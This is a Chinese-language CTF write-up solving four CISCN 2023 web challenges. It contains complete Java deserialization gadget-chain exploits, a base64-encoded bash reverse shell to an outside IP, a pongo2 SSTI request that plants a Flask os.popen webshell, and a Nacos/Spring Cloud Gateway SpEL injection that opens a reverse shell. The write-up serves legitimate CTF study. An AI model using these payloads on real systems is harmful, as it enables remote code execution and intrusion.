CISCN2023初赛-web复现
Unzip
简单的软链接,都玩烂了。
先创个软链接连接到/var/www/html,然后再创个同名文件夹,在这个文件夹下写马,传上去后等效在/var/www/html上写马,直接连接读flag就行了。
deserbug
java审计。
很显然的反序列化,bugstr传参。
lib中出了hutool还有CC3.2.2,但CC自3.2.1后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中。
但是从hint看来:
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
链子应该可以从这里入手。
getAnyexcept()可以看到,这里调用了Constructor,返回一个定义的newInstance(),这里能够实例化一个单参数类。
结合newInstance可以联想到CC3链的TrAXFilter,借此实现Templates动态加载恶意字节码。
public class TrAXFilter extends XMLFilterImpl { private Templates _templates; private TransformerImpl _transformer; private TransformerHandlerImpl _transformerHandler; private boolean _overrideDefaultParser; public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); } ... }
那么哪里打这个字节码呢?
hint也给出来了,在cn.hutool.json.JSONObject.put:
利用如下:
JSONObject#put->Myexpect#getter->TrAXFilter#constructor ->TemplatesImpl#newTransformer ->Runtime.exec
回顾CC链的触发点(来自ciscn2023 DeserBug | godspeed's blog (godspeedcurry.github.io))
以经典的从HashSet触发这条链为例:
step1
HashSet#readObject
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable { static final long serialVersionUID = -5024744406713321676L; private transient HashMap<E,Object> map; // Dummy value to associate with an Object in the backing Map private static final Object PRESENT = new Object(); /** * Constructs a new, empty set; the backing <tt>HashMap</tt> instance has * default initial capacity (16) and load factor (0.75). */ public HashSet() { map = new HashMap<>(); } private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); ... // Create backing HashMap map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); // ① e=Object of TiedMapEntry } } }
step2-3
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { ... final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0) n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null) tab[i] = newNode(hash, key, value, null); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k)))) e = p; else if (p instanceof TreeNode) e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value); else { for (int binCount = 0; ; ++binCount) { if ((e = p.next) == null) { p.next = newNode(hash, key, value, null); if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st treeifyBin(tab, hash); break; } if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) break; p = e; } } if (e != null) { // existing mapping for key V oldValue = e.value; if (!onlyIfAbsent || oldValue == null) e.value = value; afterNodeAccess(e); return oldValue; } } ++modCount; if (++size > threshold) resize(); afterNodeInsertion(evict); return null; } static final int hash(Object key) { // ③ key = object of TiedMapEntry int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } public V put(K key, V value) { // ② key = object of TiedMapEntry return putVal(hash(key), key, value, false, true); } }
step4-5
public class TiedMapEntry implements Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; // object of LazyMap private final Object key; // "test1" public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } ... public Object getValue() { return this.map.get(this.key); // ⑤ } public int hashCode() { Object value = this.getValue(); // ④ return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } ... }
step6-8
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { private static final long serialVersionUID = 7990956402564206740L; protected final Transformer factory; public static Map decorate(Map map, Factory factory) { return new LazyMap(map, factory); } public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = FactoryTransformer.getInstance(factory); } } ... // lazyMap=LazyMap.decorate(map,testTransformer); public Object get(Object key) { // ⑥ key="test1" this.map=object of HashMap if (!this.map.containsKey(key)) { // 走这里 Object value = this.factory.transform(key); //⑦ this.map.put(key, value); // ⑧ return value; } else { return this.map.get(key); } } }
关键就在⑦、⑧处,设想一下,如果
- this.map是一个JSONObject
- key无所谓
- value是一个Transformer的子类,如
ConstantTransformer
如以下代码所示,只要iConstant是个Object,我们就能调用他的getter方法:
public class ConstantTransformer implements Transformer, Serializable { private static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); private final Object iConstant; public static Transformer getInstance(Object constantToReturn) { return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); } public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } public Object getConstant() { return this.iConstant; } }
Gadget1
- CC6前段(
HashSet
、HashMap
、TiedMapEntry
、LazyMap
) - 中段
JSONObject
+Myexpect
- CC3后段(
TrAXFilter
、TemplatesImpl)
HashSet#readObject->HashMap#put->HashMap#hash-> TiedMapEntry#hashCode->TiedMapEntry#getValue-> //TiedMapEntry(lazyMap,"test1") ->LazyMap#get ->JSONObject#put->Myexpect#getter->TrAXFilter#constructor ->TemplatesImpl#newTransformer ->Runtime.exec
package com.deserbug; import cn.hutool.json.JSONObject; import com.app.Myexpect; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class exp { public static byte[] getEvilByteCode() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("aaa"); String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"open\",\"/System/Applications/Calculator.app\"});"; //静态方法 cc.makeClassInitializer().insertBefore(cmd); //设置满足条件的父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //获取字节码 return cc.toBytecode(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static HashSet getHashSet(Object obj) throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException { HashSet hs = new HashSet(1); hs.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hs); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[]) f2.get(hashset_map); Object node = array[0]; if (node == null) { node = array[1]; } Field keyField = null; try { keyField = node.getClass().getDeclaredField("key"); } catch (Exception e) { keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node, obj); return hs; } public static String getBase64Data(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } public static void main(String[] args){ try { // 转成字节码,并且反射设置 bytecodes byte[] classBytes = getEvilByteCode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{classBytes}); setFieldValue(obj, "_name", "1"); Myexpect exp1 = new Myexpect(); exp1.setTypeparam(new Class[]{javax.xml.transform.Templates.class}); exp1.setTypearg(new Object[]{obj}); exp1.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class); JSONObject jo = new JSONObject(); jo.put("1","2"); ConstantTransformer constantTransformer = new ConstantTransformer(1); setFieldValue(constantTransformer,"iConstant", exp1); Map lazyMap= LazyMap.decorate(jo,constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1"); HashSet hs = getHashSet(tiedMapEntry); lazyMap.remove("test1"); System.out.println(getBase64Data(hs)); } catch (Exception e) { e.printStackTrace(); } } }
Gadget2
其实和Gadget1差不多
HashMap#readObject->HashMap#put->HashMap#hash-> TiedMapEntry#hashCode->TiedMapEntry#getValue-> //TiedMapEntry(lazyMap,"test1") ->LazyMap#get ->JSONObject#put->Myexpect#getter->TrAXFilter#constructor ->TemplatesImpl#newTransformer ->Runtime.exec
- 简化版CC6前段(
HashMap
、TiedMapEntry
、LazyMap
) JSONObject
+Myexpect
- CC3后段(
TrAXFilter
、TemplatesImpl
)
package com.deserbug import cn.hutool.json.JSONObject; import com.app.Myexpect; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class Test1 { public static byte[] getEvilByteCode() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("AAA"); String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"open\",\"/System/Applications/Calculator.app\"});"; //静态方法 cc.makeClassInitializer().insertBefore(cmd); //设置满足条件的父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //获取字节码 return cc.toBytecode(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String getBase64Data(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } public static void main(String[] args){ try { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","azure"); setFieldValue(templates,"_bytecodes",new byte[][]{getEvilByteCode()}); Myexpect exp1 = new Myexpect(); exp1.setTypeparam(new Class[]{javax.xml.transform.Templates.class}); exp1.setTypearg(new Object[]{templates}); exp1.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class); JSONObject jo = new JSONObject(); jo.put("1","2"); ConstantTransformer constantTransformer = new ConstantTransformer(1); setFieldValue(constantTransformer,"iConstant", exp1); Map lazyMap= LazyMap.decorate(jo,constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1"); HashMap hm = new HashMap(); hm.put(tiedMapEntry, "aa"); lazyMap.remove("test1"); System.out.println(getBase64Data(hm)); } catch (Exception e) { e.printStackTrace(); } } }
顺便学习了:
额,发生神魔事了???
换个payload打:
来自Z3r4y:
evil.java:
package com.deserbug; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTEuMTUyLzEyMzQgMD4mIQ==}|{base64,-d}|{bash,-i}"); } catch (IOException e) { throw new RuntimeException(e); } } }
NewExp.java
package com.deserbug; import cn.hutool.json.JSONObject; import com.app.Myexpect; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; public class NewExp { public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, newValue); } public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get(evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "xxx"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class[] { Templates.class }); myexpect.setTypearg(new Object[] { obj }); JSONObject entries = new JSONObject(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer(myexpect)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); setFieldValue(bad,"val",tiedMapEntry); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(bad); oos.close(); byte[] byteArray = baos.toByteArray(); String encodedString = Base64.getEncoder().encodeToString(byteArray); System.out.println(encodedString); } }
牛魔,难道是java版本的问题?
换了8u202还是寄。
搜了下问题所在:
反弹shell,报错 ambiguous redirect-CSDN博客
哦,破案了,多半是我写反弹shell命令出的问题。
没找到flag,环境变量瞅一眼:
俩环境都没问题。
参考:
【Web】记录CISCN2023国赛初赛DeserBug题目复现_deserbug ctf-CSDN博客
2023 CISCN 初赛 Web Writeup - X1r0z Blog (exp10it.io)
ciscn2023 DeserBug | godspeed's blog (godspeedcurry.github.io)
[CISCN 2023]—DeserBug_[ciscn 2023 初赛]deserbug-CSDN博客
go_session
有点搞。
分析一手源码吧:
映入眼帘的是三个路由。
分析route.go,开头一个session:
先看看根路由有啥:
大概意思是
再看看admin路由:
还剩最后一个flask路由的:
显然打SSRF。
当然,这里有个小坑点:
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
如果我们想要给flask服务传入参数name=123,实际上要构造的是
./flask?name=?name=123
思路很显然了,首先是伪造session,然后是pongo2的SSTI,
首先肯定是伪造session,造出admin。
执行过程:设置了基于 Cookie 的会话存储,并使用环境变量中的 SESSION_KEY 值作为会话密钥
由于我们无法知道环境变量,只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY,我们本地搭环境得到session值去伪造试试
首先修改源码,如果name不为admin,将其值设置为admin:
go env -w GOPROXY=https://goproxy.io,direct
访问127.0.0.1:80拿session
MTcxMzk1NjE3MXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXyylF439k_mOasS47wIwGnjRbpFODB40Aopkqcr8PJKFA==
访问./admin
,抓包修改session:
成功访问。
接下来就是pongo2的SSTI。
空访问得到报错信息:
可以发现开启了debug,说明开启了热加载功能,允许在对代码进行更改后自动重新加载应用程序。这意味着可以在不必手动停止和重启 Flask 应用程序的情况下查看对代码的更改。
接下来分析来自:[CISCN 2023 初赛]go_session_ciscn 2023 go-CSDN博客
我们知道pongo2模板引擎存在注入点,可以执行go的代码,所以我们可以先上传文件覆盖server.py,再访问/flask
路由,来执行命令:
使用gin包的SaveUploadedFile()
进行文件上传:
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
第一个获取表单中的文件,第二个参数为保存的目录。
{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
但前面有个html转义,直接打会失败,我们利用gin中的Context.HandlerName():
HandlerName
返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”
所以如果是在Admin()里,返回的就是main/route.Admin
然后配合过滤器last获取到最后一个字符串也就是文件名为n
还有一个Context.Request.Referer()Request.Referer
返回header里的Referer的值
我们可以在请求中的Referer的值添加为/app/server.py
最终payload:
{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}
添加头:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时 生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要 使用 multipart/form-data 类型的请求体格式。
GET /admin?name=%7B%7Bc.SaveUploadedFile%28c.FormFile%28c.HandlerName%28%29%7Clast%29%2Cc.Request.Referer%28%29%29%7D%7D HTTP/1.1 Host: node5.anna.nssctf.cn:20467 Referer: /app/server.py Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session-name=MTcxMzk1NjE3MXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXyylF439k_mOasS47wIwGnjRbpFODB40Aopkqcr8PJKFA== Upgrade-Insecure-Requests: 1 Content-Length: 423 ------WebKitFormBoundary8ALIn5Z2C3VlBqND Content-Disposition: form-data; name="n"; filename="1.py" Content-Type: text/plain from flask import * import os app = Flask(__name__) @app.route('/') def index(): name = request.args['name'] file=os.popen(name).read() return file if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=True) ------WebKitFormBoundary8ALIn5Z2C3VlBqND--
然后就在./flask
去命令执行,因为我们知道该路由获取name也是c.DefaultQuery:
name=?name=env,拼接出来的url是 http://127.0.0.1:5000/?name=env 但写成name=env,拼接出来的url就是 http://127.0.0.1:5000/env
ctfshow的靶场同理:
BackendService
打一个简单的nacos,这个webshell我在春秋云镜打渗透的时候就打过了,一把梭了:
POST写入任意登录:
/v1/auth/users username=eddie&password=eddie
在配置列表那里新添加一个列表
查看需要添加的信息,查找bootstrap.yml文件发现了backendservice的DataID值:backcfg,直接打:
{ "spring": { "cloud": { "gateway": { "routes": [ { "id": "exam", "order": 0, "uri": "lb://service-provider", "predicates": [ "Path=/echo/**" ], "filters": [ { "name": "AddResponseHeader", "args": { "name": "result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTEuMTUyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}\").getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}" } } ] } ] } } } }
发布后过一会就连上了:
我前段时间没更新的原因是练习渗透去了,最后虽然线下的hmg决赛陪跑了,留下很多遗憾,但是还是学到很多,道阻且长,学无止境。
以上。